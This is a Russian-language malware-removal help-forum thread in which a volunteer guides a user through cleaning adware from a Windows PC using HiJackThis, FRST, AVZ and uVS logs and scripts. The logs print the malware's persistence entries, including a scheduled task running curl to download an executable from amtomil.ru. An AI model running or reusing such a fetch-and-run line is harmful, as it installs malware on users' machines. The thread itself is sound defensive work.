Выскакивает реклама в браузерах

**Nesqqq** · 07.07.2017, 01:00

Здравствуйте. В браузере выскакивает реклами и в процессах есть странные процессы. помогите избавиться пожалуйста.

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 07.07.2017, 01:01

Уважаемый(ая) Nesqqq, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

SQ · 08.07.2017, 17:21

Здравствуйте,

HiJackThis (из каталога автологгера) профиксить

Код:

O2-32 - BHO: TSearch - {B3A986DC-C2DD-40A0-8C0C-FEF66B783511} - C:\Program Files (x86)\MediaSerchIE\ksqWb4sh.dll (file missing)
O4 - HKCU\..\Run: [ZvEfEfgUYimU.exe] C:\ProgramData\b766021f5df1422d97cdb19405c7a9d4\ZvEfEfgUYimU.exe -r1_1 -r2_2 (file missing)
O4 - HKCU\..\Run: [al+oZXca-6.exe] C:\Program Files\Windows Security\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\al+oZXca-6.exe  -r1_5 -r2_1
O4 - HKCU\..\Run: [jhabdoytis] C:\WINDOWS\explorer.exe "http://eqvizin.ru/?utm_source=uoua03&utm_content=30279481911209992ea2df3b8dc4809c&utm_term=E5BB5B63B15D40758667E78FC63BB064&utm_d=20170706"
O4 - HKCU\..\Run: [setupsk] C:\Users\PC\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\PC\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk"
O4 - HKCU\..\Run: [setupsk_upd] C:\Users\PC\AppData\Roaming\setupsk_upd\python\pythonw.exe "C:\Users\PC\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd"
O4 - HKCU\..\Run: [ycAutoLaunch_880554B1099E69970404422789215F4C] C:\Users\PC\AppData\Local\yc\Application\yc.exe /prefetch:5
O4 - HKCU\..\RunOnce: [KqJEraTchvlj.exe] C:\ProgramData\1ef6a79d1f3642dbb4d43cc234f966f4\KqJEraTchvlj.exe 1 0 (file missing)
O4 - HKCU\..\RunOnce: [ULGuB#g0x6.exe] C:\Program Files\Windows Security\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\ULGuB#g0x6.exe  2 0
O4 - HKLM\..\Run: [gplyra] C:\Users\PC\AppData\Roaming\gplyra\gplyra.exe 
O4 - HKLM\..\RunOnce: [Lahin_Raw_barra_al3eb_b3id_YSaI'xcHp1.exe] C:\Program Files\Windows Photo Viewer\0EWDQFVM5HWI1821L1H6MJSN5GT2W\YSaI'xcHp1.exe 
O9 - Extra button: TSearch - HKLM\..\{17FE002F-FCF8-4B85-BEA7-5E551B7D4010} - C:\Program Files (x86)\MediaSerchIE\tuEqxxyJ.dll (file missing)
O9-32 - Extra button: TSearch - HKLM\..\{17FE002F-FCF8-4B85-BEA7-5E551B7D4010} - C:\Program Files (x86)\MediaSerchIE\ksqWb4sh.dll (file missing)
O22 - Task (Ready): B3A986DC-C2DD-40A0-8C0C-FEF66B783511 - C:\WINDOWS\system32\rundll32.exe "C:\Program Files (x86)\MediaSerchU\Kn2VvA9.dll",#1
O22 - Task (Ready): B3A986DC-C2DD-40A0-8C0C-FEF66B7835112 - C:\WINDOWS\system32\rundll32.exe "C:\Program Files (x86)\MediaSerchU\Kn2VvA9.dll",#1
O22 - Task (Ready): ComDev - C:\Users\PC\AppData\Local\ComDev\ComDev.exe --stid="14752"
O22 - Task (Ready): MSI - C:\Users\PC\AppData\Roaming\Microsoft\msi.exe cnt=3 fts="SVAP\avtosvap_1_5_3-1_5_5.exe"
O22 - Task (Ready): cf43a32c4e747c520d70b04becc36989 - C:\WINDOWS\system32\sc.exe start cf43a32c4e747c520d70b04becc36989
O22 - Task (Ready): curl - C:\Users\PC\AppData\Roaming\curl\curl_7_54.exe -f -L "http://amtomil.ru/f.exe" -o "C:\Users\PC\AppData\Roaming\curl\curl.exe"
O22 - Task (Ready): curls - C:\Users\PC\AppData\Roaming\curl\curl.exe (file missing)
O22 - Task (Ready): setupsk - C:\Users\PC\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\PC\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk"
O22 - Task (Ready): setupsk_upd - C:\Users\PC\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\PC\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd"
O23 - Service R2: Ubar Policy Provider - (UbarPolicyProvider) - C:\Program Files\UBar\UbarService.exe
O23 - Service S2: cf43a32c4e747c520d70b04becc36989 - C:\Program Files\cf43a32c4e747c520d70b04becc36989\c37c4f5b5fb765508db6336db94abcd0.exe (file missing)

AVZ выполнить следующий скрипт.
Важно на ОС: Windows Vista/7/8/8.1 AVZ запускайте через контекстное меню проводника от имени Администратора.

Код:

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.'+#13#10+'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true); 
 TerminateProcessByName('C:\Program Files\UBar\UbarService.exe');
 TerminateProcessByName('C:\Program Files\UBar\ubar.exe');
 TerminateProcessByName('C:\Windows\System32\Ea3Host.exe');
 TerminateProcessByName('f:\summerpw 2\element\elementclient.exe');
 TerminateProcessByName('f:\summerpw 2\element\reportbugs\pwprotector.exe');
 DelBHO('{17FE002F-FCF8-4B85-BEA7-5E551B7D4010}');
 DelBHO('{B3A986DC-C2DD-40A0-8C0C-FEF66B783511}');
 StopService('Ea3Host');
 StopService('UbarPolicyProvider');
 StopService('cf43a32c4e747c520d70b04becc36989');
 DeleteService('Ea3Host');
 DeleteService('cf43a32c4e747c520d70b04becc36989');
 QuarantineFile('C:\PROGRA~2\RAPTRI~1\PlaysTV\ltc_game32-123622.dll','');
 QuarantineFile('C:\PROGRA~2\RAPTRI~1\PlaysTV\ltc_help32-123622.dll','');
 QuarantineFile('C:\Program Files (x86)\MediaSerchIE\ksqWb4sh.dll','');
 QuarantineFile('C:\Program Files (x86)\MediaSerchU\Kn2VvA9.dll','');
 QuarantineFile('C:\Program Files\Firefly Cloner\Firefly Cloner.dll','');
 QuarantineFile('C:\Program Files\UBar\UbarService.exe','');
 QuarantineFile('C:\Program Files\UBar\ubar.exe','');
 QuarantineFile('C:\Program Files\Windows Photo Viewer\0EWDQFVM5HWI1821L1H6MJSN5GT2W\YSaIxcHp1.exe','');
 QuarantineFile('C:\Program Files\Windows Security\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\ULGuB#g0x6.exe','');
 QuarantineFile('C:\Program Files\cf43a32c4e747c520d70b04becc36989\c37c4f5b5fb765508db6336db94abcd0.exe','');
 QuarantineFile('C:\ProgramData\1ef6a79d1f3642dbb4d43cc234f966f4\KqJEraTchvlj.exe','');
 QuarantineFile('C:\ProgramData\b766021f5df1422d97cdb19405c7a9d4\ZvEfEfgUYimU.exe','');
 QuarantineFile('C:\Users\PC\AppData\Local\ComDev\ComDev.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\Event Monitor\em.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\Microsoft\msi.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\SETUPS~1\ml.py','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\curl\curl.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\curl\curl_7_54.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\gplyra\gplyra.exe','');
 QuarantineFile('C:\Users\PC\AppData\Roaming\setupsk\ml.py','');
 QuarantineFile('C:\Users\PC\appdata\local\comdev\comdev.exe','');
 QuarantineFile('C:\Users\PC\appdata\roaming\event monitor\em.exe','');
 QuarantineFile('C:\Users\PC\appdata\roaming\event monitor\isxdl.dll','');
 QuarantineFile('C:\Users\PC\appdata\roaming\microsoft\msi.exe','');
 QuarantineFile('C:\WINDOWS\system32\Ea3Host.exe','');
 QuarantineFile('C:\WINDOWS\system32\drivers\8204205e0fe842db14a0c1f1efd0e281.sys','');
 QuarantineFile('C:\Windows\System32\Ea3Host.exe','');
 QuarantineFile('f:\summerpw 2\element\elementclient.exe','');
 QuarantineFile('f:\summerpw 2\element\reportbugs\pwprotector.exe','');
 DeleteFile('C:\Program Files (x86)\MediaSerchIE\ksqWb4sh.dll','32');
 DeleteFile('C:\Program Files (x86)\MediaSerchU\Kn2VvA9.dll','32');
 DeleteFile('C:\Program Files\Windows Photo Viewer\0EWDQFVM5HWI1821L1H6MJSN5GT2W\YSaIxcHp1.exe','32');
 DeleteFile('C:\Program Files\Windows Security\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\ULGuB#g0x6.exe','32');
 DeleteFile('C:\Program Files\cf43a32c4e747c520d70b04becc36989\c37c4f5b5fb765508db6336db94abcd0.exe','32');
 DeleteFile('C:\ProgramData\1ef6a79d1f3642dbb4d43cc234f966f4\KqJEraTchvlj.exe','32');
 DeleteFile('C:\ProgramData\b766021f5df1422d97cdb19405c7a9d4\ZvEfEfgUYimU.exe','32');
 DeleteFile('C:\Users\PC\AppData\Local\ComDev\ComDev.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\Event Monitor\em.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\Microsoft\msi.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\SETUPS~1\ml.py','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\curl\curl.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\curl\curl_7_54.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\gplyra\gplyra.exe','32');
 DeleteFile('C:\Users\PC\AppData\Roaming\setupsk\ml.py','32');
 DeleteFile('C:\Users\PC\Favorites\Links\Интернет.url','32');
 DeleteFile('C:\Users\PC\appdata\roaming\event monitor\em.exe','32');
 DeleteFile('C:\Users\PC\appdata\roaming\event monitor\isxdl.dll','32');
 DeleteFile('C:\Users\PC\appdata\roaming\gplyra\gplyra.exe','32');
 DeleteFile('C:\WINDOWS\Tasks\B3A986DC-C2DD-40A0-8C0C-FEF66B783511.job','32');
 DeleteFile('C:\WINDOWS\system32\Ea3Host.exe','32');
 DeleteFile('C:\WINDOWS\system32\Tasks\B3A986DC-C2DD-40A0-8C0C-FEF66B7835112','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\ComDev','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\Firefly Cloner','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\MSI','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\cf43a32c4e747c520d70b04becc36989','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\curl','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\curls','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\setupsk','64');
 DeleteFile('C:\WINDOWS\system32\Tasks\setupsk_upd','64');
 DeleteFile('C:\Windows\System32\Ea3Host.exe','32');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','ZvEfEfgUYimU.exe');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','jhabdoytis');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','setupsk');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\RunOnce','KqJEraTchvlj.exe');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\RunOnce','ULGuB#g0x6.exe');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','gplyra');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
 ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.

После перезагрузки:
- Выполните в AVZ:

Код:

begin
 CreateQurantineArchive(GetAVZDirectory+'quarantine.zip'); 
end.

Файл quarantine.zip из папки AVZ загрузите по ссылке "Прислать запрошенный карантин" вверху темы.

- Подготовьте лог AdwCleaner и приложите его в теме.

**Nesqqq** · 08.07.2017, 20:58

еще 2 вируса где-то осталось, остальные ушли

- - - - -Добавлено - - - - -

у меня почему-то когда загружаю quarantine.zip через верхнюю красную кнопку, цп загружается на секунды 2-3 на 60% вырубает инет и гугл хром зависает. может из за того что он почти 10 мб весит?

SQ · 08.07.2017, 21:42

Удалите в AdwCleaner всё, кроме папок с названиями программ которыми вы пользуетесь (если ничем из перечисленного в логе не пользуетесь, то удалите всё). Отчет после удаления прикрепите.

- - - - -Добавлено - - - - -

Сообщение от Nesqqq

у меня почему-то когда загружаю quarantine.zip через верхнюю красную кнопку, цп загружается на секунды 2-3 на 60% вырубает инет и гугл хром зависает. может из за того что он почти 10 мб весит?

возможно не все вредоносное по удалено, загрузите карантин позже.

**Nesqqq** · 08.07.2017, 22:32

но все равно еще вирусы остались

SQ · 08.07.2017, 22:46

- Скачайте Farbar Recovery Scan Tool

и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Убедитесь, что в окне Optional Scan отмечены "List BCD" и "Driver MD5".
Нажмите кнопку Scan.
После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите отчет в следующем сообщении.
Если программа была запущена в первый раз, будет создан отчет (Addition.txt). Пожалуйста, прикрепите его в следующем сообщении.

**Nesqqq** · 08.07.2017, 23:09

готово

SQ · 09.07.2017, 04:06

Удалите через установку программ в панели управления.

Код:

TSearch (HKLM-x32\...\6E727987-C8EA-44DA-8749-310C0FBE3C3E) (Version: 2.0.0.271 - Company Inc.) <==== ATTENTION

Закройте и сохраните все открытые приложения.

Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:

Код:

CreateRestorePoint:
CloseProcesses:
HKLM\...\Run: [gplyra] => C:\Users\PC\AppData\Roaming\gplyra\gplyra\start.cmd [216 2017-01-10] () <==== ATTENTION
HKLM\...\RunOnce: [Lahin_Raw_barra_al3eb_b3id_YSaI'xcHp1.exe] => C:\Program Files\Windows Photo Viewer\0EWDQFVM5HWI1821L1H6MJSN5GT2W\YSaI'xcHp1.exe [129536 2017-07-06] ()
HKU\S-1-5-21-2767395537-3624211679-2512584481-1001\...\Run: [al+oZX&#231;a-6.exe] => C:\Program Files\Windows Security\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\al+oZX&#231;a-6.exe -r1_5 -r2_1
HKU\S-1-5-21-2767395537-3624211679-2512584481-1001\...\Run: [EDEIq9Q7DWoRJB.exe] => C:\Users\PC\AppData\Local\bc3540a331c24a9494e3b9e3216e397b\EDEIq9Q7DWoRJB.exe -r1_1 -r2_2
HKU\S-1-5-21-2767395537-3624211679-2512584481-1001\...\Run: [wJvBhpZH.exe] => C:\Users\PC\AppData\Local\Temp\23324f212b584eecbfcce016f3ad8d45\wJvBhpZH.exe [280064 2017-07-08] (ever) <==== ATTENTION
HKU\S-1-5-21-2767395537-3624211679-2512584481-1001\...\Run: [fvsnLqtJX07jN.exe] => C:\Users\PC\AppData\Local\b09eeef52da641529e5e3096e5dd19b0\fvsnLqtJX07jN.exe -r1_1 -r2_2
HKU\S-1-5-21-2767395537-3624211679-2512584481-1001\...\RunOnce: [Dhza3oGGzq.exe] => C:\Users\PC\AppData\Roaming\1a43dd52d2b84b58a1c29394661ab4ed\Dhza3oGGzq.exe [741376 2017-07-08] ()
FF Extension: (No Name) - C:\Users\PC\AppData\Roaming\Mozilla\Firefox\Profiles\g0cpu0i3.default-1475582541910\extensions\[email protected] [not found]
FF Extension: (TSearch) - C:\Program Files\Mozilla Firefox\browser\features\{D29DBC80-E8B5-4116-AB62-ECD8ED032A33} [2017-07-08] [not signed]
FF Plugin: playkey.net/PlaykeyPlugin -> F:\Playkey\npPlaykeyPluginApp_x86_64.dll [No File]
FF Plugin-x32: playkey.net/PlaykeyPlugin -> F:\Playkey\npPlaykeyPluginApp_i386.dll [No File]
CHR HKLM-x32\...\Chrome\Extension: [dkekdlkmdpipihonapoleopfekmapadh] - hxxp://clients2.google.com/service/update2/crx
OPR Extension: (No Name) - C:\Users\PC\AppData\Roaming\Opera Software\Opera Stable\Extensions\ahggfmgiidlaceichjfemgbaggnbaloe [2017-07-06]
OPR Extension: (No Name) - C:\Users\PC\AppData\Roaming\Opera Software\Opera Stable\Extensions\jdmkclkigoemafepfpiljdlgnoloicom [2017-07-08]
Folder: C:\Users\PC\AppData\Roaming\Microleaves
2017-07-08 22:23 - 2017-07-08 22:23 - 00000000 ____D C:\Users\PC\AppData\Roaming\gplyra
2017-07-08 22:23 - 2017-07-08 22:23 - 00000000 ____D C:\Program Files (x86)\MediaSerchUn
2017-07-08 22:23 - 2017-07-08 22:23 - 00000000 ____D C:\Program Files (x86)\MediaSerchU2
2017-07-08 22:23 - 2017-07-08 22:23 - 00000000 ____D C:\Program Files (x86)\MediaSerchU
2017-07-08 22:23 - 2017-07-08 22:23 - 00000000 ____D C:\Program Files (x86)\MediaSerchIE
2017-07-08 22:22 - 2017-07-08 22:22 - 00000000 ____D C:\Users\PC\AppData\Roaming\1a43dd52d2b84b58a1c29394661ab4ed
2017-07-08 20:22 - 2017-07-08 20:22 - 00000000 ____D C:\Users\Все пользователи\2a9ecfab23904ff489931a19a8242bd1
2017-07-08 20:22 - 2017-07-08 20:22 - 00000000 ____D C:\Users\Все пользователи\1f5e12b4e24b44ab8aa76275cca3c148
2017-07-08 20:22 - 2017-07-08 20:22 - 00000000 ____D C:\ProgramData\2a9ecfab23904ff489931a19a8242bd1
2017-07-08 20:22 - 2017-07-08 20:22 - 00000000 ____D C:\ProgramData\1f5e12b4e24b44ab8aa76275cca3c148
2017-07-08 20:00 - 2017-07-08 20:00 - 00000000 ____D C:\Users\PC\AppData\Roaming\7298bde2048a467896a0658d39d3f243
2017-07-08 09:53 - 2017-07-08 09:53 - 00000000 ____D C:\Users\Все пользователи\89d9d712e1b446d38d75fbc11063b37a
2017-07-08 09:53 - 2017-07-08 09:53 - 00000000 ____D C:\ProgramData\89d9d712e1b446d38d75fbc11063b37a
2017-07-07 13:22 - 2017-07-07 13:22 - 00000258 __RSH C:\Users\PC\ntuser.pol
2017-07-07 13:22 - 2017-07-07 13:22 - 00000000 ____D C:\Users\Все пользователи\0bfb4f8976bb470ca386494d30cd070b
2017-07-07 13:22 - 2017-07-07 13:22 - 00000000 ____D C:\ProgramData\0bfb4f8976bb470ca386494d30cd070b
2017-07-07 00:13 - 2017-07-07 00:13 - 00920784 _____ C:\WINDOWS\system32\Ea3Host.exe
2017-07-07 00:09 - 2017-07-08 20:24 - 00000000 ____D C:\Users\PC\AppData\Local\ComDev
2017-07-06 23:29 - 2017-07-08 22:23 - 00003094 __RSH C:\Users\Все пользователи\ntuser.pol
2017-07-06 23:29 - 2017-07-08 22:23 - 00003094 __RSH C:\ProgramData\ntuser.pol
Folder: C:\Users\Все пользователи\Microsoft Help
2017-07-06 23:30 - 2017-07-06 23:30 - 0024576 _____ (Ubar Plugin Soft) C:\Users\PC\AppData\Local\Temp\coi1634.exe
2017-07-07 00:13 - 2017-07-07 00:13 - 7863208 _____ () C:\Users\PC\AppData\Local\Temp\gLCdQU2LlxvV.exe
2017-07-07 00:12 - 2017-07-07 00:12 - 37564928 _____ (The Chromium Authors) C:\Users\PC\AppData\Local\Temp\GVnB2hKmlEgY.exe
2017-07-06 23:29 - 2017-07-06 23:29 - 0387211 _____ (                                                            ) C:\Users\PC\AppData\Local\Temp\ltr04dpzGGkB.exe
2017-07-07 00:11 - 2017-07-07 00:11 - 7863150 _____ () C:\Users\PC\AppData\Local\Temp\pmVW6nPvqexh.exe
2017-07-07 00:14 - 2017-07-07 00:14 - 7863176 _____ () C:\Users\PC\AppData\Local\Temp\vADDR0tgscL1.exe
Task: {27FDB70C-93B3-4228-BBC9-CAECE75A7694} - \MSI -> No File <==== ATTENTION
Task: {2B5142D2-039A-455B-AC42-864A45AFA4A6} - \Firefly Cloner -> No File <==== ATTENTION
Task: {32F58542-D0E6-42FE-AF58-6535B265180B} - \curl -> No File <==== ATTENTION
Task: {3A2BF814-1117-497C-9B24-395978599844} - System32\Tasks\B3A986DC-C2DD-40A0-8C0C-FEF66B783511 => Rundll32.exe "C:\Program Files (x86)\MediaSerchU\r62SNR6.dll",#1 <==== ATTENTION
Task: {4056023C-A415-49D9-AB25-97F9AE4AE814} - \ComDev -> No File <==== ATTENTION
Task: {6D4F2ECF-926C-4911-83B2-736619730F5C} - \cf43a32c4e747c520d70b04becc36989 -> No File <==== ATTENTION
Task: {8AAF4366-3542-4708-99B4-6F55CA651F0F} - \setupsk -> No File <==== ATTENTION
Task: {BFEF3C41-9E59-4681-8500-E2CE1C7F7793} - System32\Tasks\B3A986DC-C2DD-40A0-8C0C-FEF66B7835112 => Rundll32.exe "C:\Program Files (x86)\MediaSerchU\r62SNR6.dll",#1 <==== ATTENTION
Task: {C3F01729-A3DE-49B7-B62F-00B3B8917CD4} - \curls -> No File <==== ATTENTION
Task: {CBFD154E-0E9C-4CBC-9A89-2470A7B2ABA7} - \setupsk_upd -> No File <==== ATTENTION
Task: C:\WINDOWS\Tasks\B3A986DC-C2DD-40A0-8C0C-FEF66B783511.job => C:\Program Files (x86)\MediaSerchU\r62SNR6.dll <==== ATTENTION
Reboot:

Запустите FRST и нажмите один раз на кнопку Fix и подождите.
Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
Обратите внимание, что компьютер будет перезагружен.

**Nesqqq** · 09.07.2017, 15:02

Cпасибо, последний вирус остался в процессах, если нужно могу скрин сделать

SQ · 09.07.2017, 17:46

Знакома ли Вам?

Код:

2017-06-18 10:58 - 2017-06-18 10:58 - 2793472 _____ () C:\Users\PC\AppData\Roaming\Microleaves\Online Application 2.6.0\install\CFCBAA1\Basic Installer with memory detection Amonetize.msi

Скачайте программу Universal Virus Sniffer и сделайте полный образ автозапуска uVS.

**Nesqqq** · 09.07.2017, 18:05

да, знакомо.. в диспетчере задач если нажать на вирус и потом "открыть расположение файла" выдает эту папку. Я прислал зип архив полного образа через верхнюю красную кнопку

SQ · 09.07.2017, 18:30

Сообщение от Nesqqq

да, знакомо.. в диспетчере задач если нажать на вирус и потом "открыть расположение файла" выдает эту папку. Я прислал зип архив полного образа через верхнюю красную кнопку

Приложите ранее запрошенный лог.

**Nesqqq** · 09.07.2017, 18:35

Сообщение от SQ

Приложите ранее запрошенный лог.

какой? полного образа автозапуска uVS?

SQ · 09.07.2017, 18:39

Сообщение от Nesqqq

какой? полного образа автозапуска uVS?

да, только в тему как вложение, в карантин логи не добавляйте, только вредоносное ПО.

**Nesqqq** · 09.07.2017, 23:07

места не хватает) там можно удалять старые логи?

- - - - -Добавлено - - - - -

Я имею ввиду места не хватает в менеджере вложений

SQ · 10.07.2017, 03:47

Удалите старые вложения Мой кабинет => Вложения.

Если не решит проблему, то загрузите на файловое хранилище и предоставьте ссылку для скачивания.

**Nesqqq** · 12.07.2017, 00:04

Готово, извините за задержку.. 2 дня дома не был, уезжал

SQ · 12.07.2017, 08:41

Выполните скрипт в uVS:

Код:

;uVS v4.0.2 [http://dsrt.dyndns.org]
;Target OS: NTv10.0
v400c
OFFSGNSAVE
BREG
zoo %SystemDrive%\USERS\PC\APPDATA\ROAMING\82E24033B77146E7B76A881B12CD02F1\H2BSKS3EMO.EXE
delref %SystemDrive%\PROGRAM FILES\WINDOWS SECURITY\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V\AL+OZX&#199;A-6.EXE
deldir %SystemDrive%\PROGRAM FILES\WINDOWS SECURITY\USVD5AKFUK3RL8LJQKHDGZH89OBAZ8V
delall %SystemDrive%\USERS\PC\APPDATA\ROAMING\82E24033B77146E7B76A881B12CD02F1\H2BSKS3EMO.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.29.5\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.29.5\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHIE\K0XD8ACZ.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHIE\MTGO4OH.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHIE\TTZYSLM.DLL
deldir %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHIE
delref %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHU2\5T9UO1W.DLL
deldir %SystemDrive%\PROGRAM FILES (X86)\MEDIASERCHU2
delref %SystemDrive%\PROGRAMDATA\KMSAUTOS\KMSAUTO NET.EXE
delref %SystemRoot%\KMSAUTO.EXE
restart

**Nesqqq** · 12.07.2017, 13:58

Огромное спасибо! все вирусы ушли

Выскакивает реклама в браузерах (заявка № 213653)

Опции темы